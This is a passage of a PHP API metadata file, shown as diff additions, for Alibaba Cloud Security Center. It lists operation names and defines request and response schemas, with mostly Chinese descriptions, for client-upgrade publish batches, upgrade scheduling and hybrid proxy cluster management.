'ListGroups', + 'ListInstanceRiskNum', + 'ListInstanceRiskLevels', + 'GetModuleTrialAuthInfo', + 'AddSasModuleTrial', + 'EnableCustomInstanceBlockRecord', + 'DescribeCustomBlockInstances', + 'GetHoneyPotUploadPolicyInfo', + 'UploadedHoneyPotFile', + 'ListHoneypotEventFlows', + 'ModifyImageRegistry', + 'DeleteK8sAccessInfo', + 'AddContainerPluginRule', + 'DeleteContainerPluginRule', + 'ModifyContainerPluginRule', + 'DeleteSasContainerWebDefenseRule', + 'ListK8sAccessInfo', + 'GenerateK8sAccessInfo', + 'ListClusterPluginInfo', + 'MarkMonitorAccounts', + 'UnMarkMonitorAccounts', + 'GetClusterStrategyCount', + 'ListUnfinishedOnceTask', + 'ListBackupRecord', + 'ResetHoneypot', + 'StartHoneypot', + 'DeleteVulAutoRepairConfig', + 'DescribeFixUsedCount', + 'CreateAttestor', + 'CreateBinarySecurityPolicy', + 'DeleteAttestor', + 'DescribeAttestors', + 'DescribeBinarySecurityPolicies', + 'DescribeClusterHostSecuritySummary', + 'DescribeClusterImageSecuritySummary', + 'DescribeContainerServiceK8sClusters', + 'DescribeCustomizedDictUploadInfo', + 'CheckStsTokenAuth', + 'DescribeVulDefendCountStatistics', + 'DescribeVulMetaCountStatistics', + 'CreateCustomizedDict', + 'DescribeContainerFieldStatistics', + 'DescribeContainerGroupedFieldDetail', + 'DescribeContainerServiceK8sClusterKritisStatus', + 'DescribeContainerServiceK8sClusterNamespaces', + 'CreateJenkinsImageScanTask', + 'UpgradeHoneypotNode', + 'QueryGuidTaskList', + 'CreateSasTrial', + 'GetCanTrySas', + 'ReceiveFunctionTrialRewardByAliUid', + 'DescribeAgentlessSensitiveFileByKey', + 'GetCheckStructure', + 'DescribeDynamicDictUploadInfo', + 'DeleteCustomizeReport', + 'DescribeCustomizeReportConfigDetail', + 'DescribeDynamicDict', + 'DescribeIdcProbeScanResultList', + 'DescribeSupervisonInfo', + 'ExportCustomizeReport', + 'GenerateDynamicDict', + 'GetDefenceCount', + 'OperationCustomizeReportChart', + 'SaveCustomizeReportConfig', + 'SendCustomizeReport', + 'UpdateCustomizeReportStatus', + 'DescribeUniBackupStatistics', + 'DescribeUserSetting', + 'GetDataTrend', + 'ResetLogShipper', + 'ListLogShipperRegions', + 'UpdateTargetListByBatch', + 'DescribeScreenScoreThread', + 'DescribeChartData', + 'OpenBackupAutoConfig', + 'GetBackupAutoConfigStatus', + 'GetAegisContainerPluginRule', + 'SubmitOperationTask', + 'CheckTrialFixCount', + 'CreateMonitorAccount', + 'DeleteMonitorAccount', + 'EnableServiceAccessResourceDirectory', + 'ListAccountsInResourceDirectory', + 'ModifyWebLockRefresh', + 'DescribeCheckResult', + 'TriggerCheck', + 'CreateRdDefaultSyncList', + 'ListRdDefaultSyncList', + 'GetRdTree', + 'DescribeIdcAssetCriteria', + 'DescribeImageListByBuildRisk', + 'DescribeImageBuildRiskList', + 'DescribeImageBuildRiskByKey', + 'DescribeCanTrySas', + 'DescribeNeedAsyncQuery', + 'ListPrivateK8s', + 'ModifyAttestor', + 'DescribeCheckWarningCount', + 'GetAccountLabel', + 'ListAssetInfoPublish', + 'GetCurrentVersionPublish', + 'BatchCreateMaliciousNote', + 'DescribeInstanceVulStatistics', + 'SetImageBuildRiskStatus', + 'SubmitTenantCheck', + 'GetTenantCheckAvailable', + 'ListOperationProcessDetail', + 'ListOperationProcess', + 'DescribeCanAccessVpcSale', + 'DescribeDomainSecureSuggests', + 'DescribeIdcProbeList', + 'DescribeImageRiskLevelStatistic', + 'DescribeImageSecurityScanCount', + 'GetDockerhubImageRiskRankInfo', + 'ListDockerhubImage', + 'ListUserVpc', + 'CreateBatchUploadUrl', + 'GetFunctionTrialStatus', + 'ListTargetByBatch', + 'GetConsoleFuncGrayStatus', + 'GetInstanceAlarmStatistics', + 'AddProtectVpcList', + 'GrantSwitchAgreement', + 'ListAgentlessAsset', + 'ModifyServerlessAuthToMachine', + 'ModifyBinarySecurityPolicy', + 'GetInstallCodeForUuid', + 'UpdateAttackPathWhitelist', + 'DeleteAttackPathWhitelist', + 'DeleteAttackPathSensitiveAssetConfig', + 'ListSupportAttackPathAsset', + 'GetAttackPathWhitelist', + 'ListAttackPathWhitelist', + 'CreateAttackPathWhitelist', + 'CreateAttackPathSensitiveAssetConfig', + 'UpdateAttackPathSensitiveAssetConfig', + 'GetAttackPathSensitiveAssetConfig', + 'ListAvailableAttackPath', + 'GetAttackPathEventDetail', + 'ListAttackPathEvent', + 'GetAttackPathEventStatistics', + 'InstallAegisForLingjun', + 'ListAegisForLingjunStatus', + 'DescribeAIAssetSummary', + 'DescribePluginSummary', + 'DescribeCustomizedDict', + 'ListUniBackupRecord', + 'HandleSimilarMaliciousFiles', + 'GenerateClusterScannerWebhookYaml', + 'DescribeClusterScannerList', + 'GetClusterScannerYaml', + 'GetAgentlessTaskUsedSizeEstimate', + 'ListCloudAssetMatchOperators', + 'ListCloudAssetSchemas', + 'UpdateMultiUserInstances', + 'GetInstanceAuthRange', + 'ListMultiUserInstances', + 'DescribeCloudVendorProductTemplateConfig', + ], + ], + ], + 'components' => [ + 'schemas' => [ + 'QueryIncidentTracingSubNodesCountRequest' => [ + 'title' => 'queryIncidentTracingSubNodesCountRequest', + 'description' => '子节点查询请求实例', + 'type' => 'object', + 'properties' => [ + 'VertexIdAndTypeList' => [ + 'title' => 'vertexIdAndTypeList', + 'description' => '节点ID和类型组成的键值对列表， 键值对以数组的方式存在', + 'type' => 'array', + 'items' => [ + 'description' => '节点ID和节点类型组成的二位数组，第一个元素是节点ID， 第二个元素是节点类型', + 'type' => 'array', + 'items' => [ + 'description' => '节点ID或者节点类型， 字符串', + 'type' => 'string', + 'example' => '["vertex1", "vertexType1"]', + ], + ], + ], + ], + ], + ], + ], + 'apis' => [ + 'ListPublishBatch' => [ + 'summary' => '查询当前用户自定义升级发布批次。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'list', + ], + 'parameters' => [ + [ + 'name' => 'UpgradeVersion', + 'in' => 'query', + 'schema' => [ + 'description' => '要升级目标版本。', + 'type' => 'string', + 'required' => true, + 'example' => '0.0.9', + ], + ], + [ + 'name' => 'CurrentPage', + 'in' => 'query', + 'schema' => [ + 'description' => '分页查询时，当前页的页码。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => true, + 'example' => '1', + ], + ], + [ + 'name' => 'PageSize', + 'in' => 'query', + 'schema' => [ + 'description' => '分页查询时，显示每页数据的最大条数。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => true, + 'example' => '20', + ], + ], + [ + 'name' => 'BatchName', + 'in' => 'query', + 'schema' => [ + 'description' => '发布批次名称。', + 'type' => 'string', + 'required' => false, + 'example' => '批次1', + ], + ], + ], + 'responses' => [ + 200 => [ + 'headers' => [], + 'schema' => [ + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => '7532B7EE-7CE7-5F4D-BF04-B12447DDCAE1', + ], + 'PageInfo' => [ + 'description' => '分页信息。', + 'type' => 'object', + 'properties' => [ + 'CurrentPage' => [ + 'description' => '分页查询时，显示的当前页的页码。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'PageSize' => [ + 'description' => '分页查询时，显示的每页数据的最大条数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '20', + ], + 'TotalCount' => [ + 'description' => '返回数据的总条数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '25', + ], + ], + ], + 'BatchList' => [ + 'description' => '批量发布任务的详细信息。', + 'type' => 'array', + 'items' => [ + 'description' => '批量发布任务的详细信息。', + 'type' => 'object', + 'properties' => [ + 'Version' => [ + 'description' => '目标要升级的版本号。', + 'type' => 'string', + 'example' => '0.0.9', + ], + 'BatchName' => [ + 'description' => '发布批次名称。', + 'type' => 'string', + 'example' => '发布批次1', + ], + 'BatchId' => [ + 'description' => '发布批次ID。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '1371', + ], + 'BatchNo' => [ + 'description' => '分批发布时当前批次号。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '2147483647', + ], + 'BatchTotal' => [ + 'description' => '批次发布总批次数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '3', + ], + 'BatchInterval' => [ + 'description' => '本批次发布完成之后间隔多长时间发布下一批次，单位：小时。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '12', + ], + 'BatchProcess' => [ + 'description' => '当前批次的发布进度，已发布多少台机器。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '12', + ], + 'Status' => [ + 'description' => '客户端发布状态。取值：'."\n" + .'- **0**： 未开始'."\n" + .'- **1**： 发布中'."\n" + .'- **2**： 发布完成'."\n" + .'- **3**： 发布暂停'."\n" + .'- **4**： 强制升级中', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'OperationBase' => [ + 'description' => '资产选择维度。取值：'."\n" + ."\n" + .'- **0**：机器实例'."\n" + .'- **1**：机器分组'."\n" + .'- **2**：VPC实例ID', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '0', + ], + ], + ], + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"7532B7EE-7CE7-5F4D-BF04-B12447DDCAE1\\",\\n \\"PageInfo\\": {\\n \\"CurrentPage\\": 1,\\n \\"PageSize\\": 20,\\n \\"TotalCount\\": 25\\n },\\n \\"BatchList\\": [\\n {\\n \\"Version\\": \\"0.0.9\\",\\n \\"BatchName\\": \\"发布批次1\\",\\n \\"BatchId\\": 1371,\\n \\"BatchNo\\": 2147483647,\\n \\"BatchTotal\\": 3,\\n \\"BatchInterval\\": 12,\\n \\"BatchProcess\\": 12,\\n \\"Status\\": 1,\\n \\"OperationBase\\": 0\\n }\\n ]\\n}","type":"json"}]', + 'title' => '查询发布批次', + ], + 'AddPublishBatch' => [ + 'summary' => '新增云安全中心升级发布批次。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'readAndWrite', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'create', + 'abilityTreeCode' => '142155', + 'abilityTreeNodes' => [ + 'FEATUREsasK0Q1Y8', + ], + 'tenantRelevance' => 'publicInformation', + ], + 'parameters' => [ + [ + 'name' => 'UpgradeVersion', + 'in' => 'query', + 'schema' => [ + 'description' => '指定要升级目标版本。', + 'type' => 'string', + 'required' => true, + 'example' => '0.0.9', + ], + ], + [ + 'name' => 'BatchName', + 'in' => 'query', + 'schema' => [ + 'description' => '发布批次名称。', + 'type' => 'string', + 'required' => true, + 'example' => '批次1', + ], + ], + [ + 'name' => 'Interval', + 'in' => 'query', + 'allowEmptyValue' => true, + 'schema' => [ + 'description' => '发布批次间隔周期。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => true, + 'example' => '60', + ], + ], + [ + 'name' => 'OperationBase', + 'in' => 'query', + 'schema' => [ + 'description' => '资产选择维度。取值：'."\n" + ."\n" + .'- **0**：机器实例'."\n" + .'- **1**：机器分组'."\n" + .'- **2**：VPC实例ID', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '0', + ], + ], + ], + 'responses' => [ + 200 => [ + 'headers' => [], + 'schema' => [ + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '阿里云为该请求生成的唯一标识符。', + 'type' => 'string', + 'example' => '7BC55C8F-226E-5AF5-9A2C-2EC43864****', + ], + 'BatchId' => [ + 'description' => '发布批次ID。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '1', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"7BC55C8F-226E-5AF5-9A2C-2EC43864****\\",\\n \\"BatchId\\": 1\\n}","type":"json"}]', + 'title' => '新增发布批次', + ], + 'UpdatePublishBatch' => [ + 'summary' => '更新发布批次。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'readAndWrite', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'update', + 'abilityTreeCode' => '144974', + 'abilityTreeNodes' => [ + 'FEATUREsasK0Q1Y8', + ], + 'tenantRelevance' => 'publicInformation', + ], + 'parameters' => [ + [ + 'name' => 'BatchId', + 'in' => 'query', + 'allowEmptyValue' => true, + 'schema' => [ + 'description' => '发布批次ID。', + 'type' => 'integer', + 'format' => 'int64', + 'required' => false, + 'example' => '52370', + ], + ], + [ + 'name' => 'OperationBase', + 'in' => 'query', + 'allowEmptyValue' => true, + 'schema' => [ + 'description' => '资产选择维度。取值：'."\n" + ."\n" + .'- **0**：机器实例'."\n" + .'- **1**：机器分组'."\n" + .'- **2**：VPC实例ID', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '0', + ], + ], + [ + 'name' => 'BatchName', + 'in' => 'query', + 'schema' => [ + 'description' => '发布批次名称。', + 'type' => 'string', + 'required' => false, + 'example' => '批次1', + ], + ], + [ + 'name' => 'Interval', + 'in' => 'query', + 'schema' => [ + 'description' => '发布批次间隔周期。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '60', + ], + ], + ], + 'responses' => [ + 200 => [ + 'headers' => [], + 'schema' => [ + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => '3956048F-9D73-5EDB-834B-4827BB******', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"3956048F-9D73-5EDB-834B-4827BB******\\"\\n}","type":"json"}]', + 'title' => '更新发布批次', + ], + 'GetPublishCron' => [ + 'summary' => '获取客户端升级时间配置。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'get', + ], + 'parameters' => [], + 'responses' => [ + 200 => [ + 'headers' => [], + 'schema' => [ + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => '30CBF632-109F-596F-97F2-451C8B2A****', + ], + 'Data' => [ + 'description' => '发布调度配置信息。', + 'type' => 'object', + 'properties' => [ + 'Cron' => [ + 'description' => '升级开始时间的Cron表达式。', + 'type' => 'string', + 'example' => '0 0 7 * * ?', + ], + 'Duration' => [ + 'description' => '升级持续时间，单位小时。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '24', + ], + 'CronType' => [ + 'description' => '升级开始周期类型。取值如下：'."\n" + .'- **day**：每天'."\n" + .'- **week**：每周', + 'type' => 'string', + 'example' => 'day', + ], + 'CronDay' => [ + 'description' => '升级时间在一周中的第几天。取值：'."\n" + .'- **MON**：周一'."\n" + .'- **TUE**：周二'."\n" + .'- **WED**：周三'."\n" + .'- **THU**：周四'."\n" + .'- **FRI**：周五'."\n" + .'- **SAT**：周六'."\n" + .'- **SUN**：周日', + 'type' => 'string', + 'example' => 'MON', + ], + 'CronTime' => [ + 'description' => '发布开始时间戳，单位为毫秒。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '1724522400000', + ], + ], + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"30CBF632-109F-596F-97F2-451C8B2A****\\",\\n \\"Data\\": {\\n \\"Cron\\": \\"0 0 7 * * ?\\",\\n \\"Duration\\": 24,\\n \\"CronType\\": \\"day\\",\\n \\"CronDay\\": \\"MON\\",\\n \\"CronTime\\": 1724522400000\\n }\\n}","type":"json"}]', + 'title' => '获取客户端升级时间配置', + ], + 'UpdatePublishGraySwitch' => [ + 'summary' => '修改客户端升级的灰度开关。'."\n" + ."\n" + .'使用该功能请联系技术支持。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'write', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'update', + 'abilityTreeCode' => '142151', + 'abilityTreeNodes' => [ + 'FEATUREsasK0Q1Y8', + ], + 'tenantRelevance' => 'publicInformation', + ], + 'parameters' => [ + [ + 'name' => 'GraySwitchStatus', + 'in' => 'query', + 'schema' => [ + 'description' => '是否开启。取值：'."\n" + .'- **1**：开启'."\n" + .'- **0**：关闭', + 'type' => 'integer', + 'format' => 'int32', + 'required' => true, + 'example' => '1', + ], + ], + ], + 'responses' => [ + 200 => [ + 'headers' => [], + 'schema' => [ + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => '231A8A81-CBB4-5AB3-A624-98A501******', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"231A8A81-CBB4-5AB3-A624-98A501******\\"\\n}","type":"json"}]', + 'title' => '修改客户端升级灰度开关', + ], + 'UpdatePublishCron' => [ + 'summary' => '修改客户端升级时间的配置。'."\n" + ."\n" + .'使用该功能请联系技术支持。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'write', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'update', + 'abilityTreeCode' => '142161', + 'abilityTreeNodes' => [ + 'FEATUREsasK0Q1Y8', + ], + 'tenantRelevance' => 'publicInformation', + ], + 'parameters' => [ + [ + 'name' => 'Cron', + 'in' => 'query', + 'allowEmptyValue' => true, + 'schema' => [ + 'description' => '升级开始时间的Cron表达式。', + 'type' => 'string', + 'required' => true, + 'example' => '0 5 10 * * ?', + ], + ], + [ + 'name' => 'Duration', + 'in' => 'query', + 'schema' => [ + 'description' => '升级持续时间，单位小时。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => true, + 'example' => '24', + ], + ], + [ + 'name' => 'CronType', + 'in' => 'query', + 'schema' => [ + 'description' => '升级开始周期类型。取值如下：'."\n" + .'- **day**：每天'."\n" + .'- **week**：每周', + 'type' => 'string', + 'required' => false, + 'example' => 'day', + ], + ], + [ + 'name' => 'CronDay', + 'in' => 'query', + 'schema' => [ + 'description' => '升级时间在一周中的第几天。取值：'."\n" + .'- **MON**：周一'."\n" + .'- **TUE**：周二'."\n" + .'- **WED**：周三'."\n" + .'- **THU**：周四'."\n" + .'- **FRI**：周五'."\n" + .'- **SAT**：周六'."\n" + .'- **SUN**：周日', + 'type' => 'string', + 'required' => false, + 'example' => 'SUN', + ], + ], + [ + 'name' => 'CronTime', + 'in' => 'query', + 'schema' => [ + 'description' => '发布开始时间戳，单位为毫秒。', + 'type' => 'integer', + 'format' => 'int64', + 'required' => false, + 'example' => '1657407600000', + ], + ], + ], + 'responses' => [ + 200 => [ + 'headers' => [], + 'schema' => [ + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。'."\n", + 'type' => 'string', + 'example' => '1052B989-305B-50A5-B5F5-998450******', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"1052B989-305B-50A5-B5F5-998450******\\"\\n}","type":"json"}]', + 'title' => '修改客户端升级时间', + ], + 'UpgradeVersionByUuids' => [ + 'summary' => '手动升级资产的客户端。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'write', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'update', + 'abilityTreeCode' => '142152', + 'abilityTreeNodes' => [ + 'FEATUREsasK0Q1Y8', + ], + 'tenantRelevance' => 'publicInformation', + ], + 'parameters' => [ + [ + 'name' => 'UuidList', + 'in' => 'query', + 'style' => 'repeatList', + 'schema' => [ + 'description' => '指定待检测的资产UUID列表。', + 'type' => 'array', + 'items' => [ + 'description' => '指定待检测的资产UUID。'."\n" + ."\n" + .'> 您可以调用[DescribeCloudCenterInstances](~~DescribeCloudCenterInstances~~)接口获取服务器的UUID。', + 'type' => 'string', + 'required' => true, + 'example' => '4fe8e1cd-3c37-4851-b9de-124da32c****', + ], + 'required' => true, + 'maxItems' => 10000, + ], + ], + [ + 'name' => 'UpgradeVersion', + 'in' => 'query', + 'allowEmptyValue' => true, + 'schema' => [ + 'description' => '指定要升级目标版本。', + 'type' => 'string', + 'required' => true, + 'example' => '0.0.9', + ], + ], + ], + 'responses' => [ + 200 => [ + 'headers' => [], + 'schema' => [ + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => '7BC55C8F-226E-5AF5-9A2C-2EC43864****', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"7BC55C8F-226E-5AF5-9A2C-2EC43864****\\"\\n}","type":"json"}]', + 'title' => '手动升级客户端', + ], + 'UpdatePublishAutoUpgrade' => [ + 'summary' => '开启或关闭自动升级。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'write', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'update', + 'abilityTreeCode' => '150874', + 'abilityTreeNodes' => [ + 'FEATUREsasK0Q1Y8', + ], + 'tenantRelevance' => 'publicInformation', + ], + 'parameters' => [ + [ + 'name' => 'AutoUpgrade', + 'in' => 'query', + 'schema' => [ + 'description' => '是否开启自动升级。取值：'."\n" + ."\n" + .'- **1**：开启'."\n" + .'- **0**：关闭', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '1', + ], + ], + ], + 'responses' => [ + 200 => [ + 'headers' => [], + 'schema' => [ + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => '1EE7B150-D67E-53FD-A52D-3E8E669A****', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"1EE7B150-D67E-53FD-A52D-3E8E669A****\\"\\n}","type":"json"}]', + 'title' => '修改自动升级开关', + ], + 'UpdateHybridProxy' => [ + 'summary' => '升级混合云代理客户端。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'readAndWrite', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'update', + 'abilityTreeCode' => '164118', + 'abilityTreeNodes' => [ + 'FEATUREsasK0Q1Y8', + ], + 'tenantRelevance' => 'publicInformation', + ], + 'parameters' => [ + [ + 'name' => 'ProxyUuid', + 'in' => 'query', + 'schema' => [ + 'description' => '代理客户端uuid。', + 'type' => 'string', + 'required' => true, + 'example' => 'inet-proxy-14bbbb37-c4b9-4e86-83bd-137a940a6ec4', + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'title' => 'BaseResult', + 'description' => 'BaseResult', + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '阿里云为该请求生成的唯一标识符。', + 'type' => 'string', + 'example' => 'C0DD0616-0DA0-5450-B89E-F30D49E63D6B', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 400 => [ + [ + 'errorCode' => 'DataExists', + 'errorMessage' => '%s data exist', + ], + ], + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"C0DD0616-0DA0-5450-B89E-F30D49E63D6B\\"\\n}","type":"json"}]', + 'title' => '升级混合云代理客户端', + ], + 'ModifyHybridProxyCluster' => [ + 'summary' => '修改代理集群的备注信息。', + 'methods' => [ + 'get', + 'post', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'readAndWrite', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'update', + 'abilityTreeCode' => '151384', + 'abilityTreeNodes' => [ + 'FEATUREsasK0Q1Y8', + ], + ], + 'parameters' => [ + [ + 'name' => 'ClusterName', + 'in' => 'query', + 'schema' => [ + 'description' => '代理集群名称。', + 'type' => 'string', + 'required' => true, + 'example' => 'sas-test-cnnf', + ], + ], + [ + 'name' => 'Remark', + 'in' => 'query', + 'schema' => [ + 'description' => '代理集群的备注信息。', + 'type' => 'string', + 'required' => true, + 'example' => 'test', + ], + ], + ], + 'responses' => [ + 200 => [ + 'headers' => [], + 'schema' => [ + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => '8B4B6E6D-B0B0-5F05-A14E-82917D9648EE', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 400 => [ + [ + 'errorCode' => 'DataNotExists', + 'errorMessage' => '%s data not exist', + ], + ], + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"8B4B6E6D-B0B0-5F05-A14E-82917D9648EE\\"\\n}","type":"json"}]', + 'title' => '修改代理集群的备注信息', + ], + 'ModifyHybridProxyPolicy' => [ + 'summary' => 'Modify the policy of the proxy cluster.', + 'methods' => [ + 'get', + 'post', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'readAndWrite', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'update', + 'abilityTreeCode' => '151388', + 'abilityTreeNodes' => [ + 'FEATUREsasK0Q1Y8', + ], + 'tenantRelevance' => 'publicInformation', + ], + 'parameters' => [ + [ + 'name' => 'ClusterName', + 'in' => 'query', + 'schema' => [ + 'description' => '代理集群名称。', + 'type' => 'string', + 'required' => true, + 'example' => 'sas-proxy', + ], + ], + [ + 'name' => 'PolicyInfo', + 'in' => 'query', + 'schema' => [ + 'description' => '指定代理集群策略信息，格式要求JSON字符串。', + 'type' => 'string', + 'required' => true, + 'example' => '['."\n" + .' {'."\n" + .' "policyType": "limitFrequency",'."\n" + .' "info":'."\n" + .' ['."\n" + .' {'."\n" + .' "type": "file",'."\n" + .' "config": "10"'."\n" + .' }'."\n" + .' ]'."\n" + .' },'."\n" + .' {'."\n" + .' "policyType": "limitBandWidth",'."\n" + .' "info":'."\n" + .' ['."\n" + .' {'."\n" + .' "type": "net"'."\n" + .' },'."\n" + .' {'."\n" + .' "type": "process"'."\n" + .' }'."\n" + .' ]'."\n" + .' }'."\n" + .']', + ], + ], + ], + 'responses' => [ + 200 => [ + 'headers' => [], + 'schema' => [ + 'title' => 'BaseResult', + 'description' => 'BaseResult', + 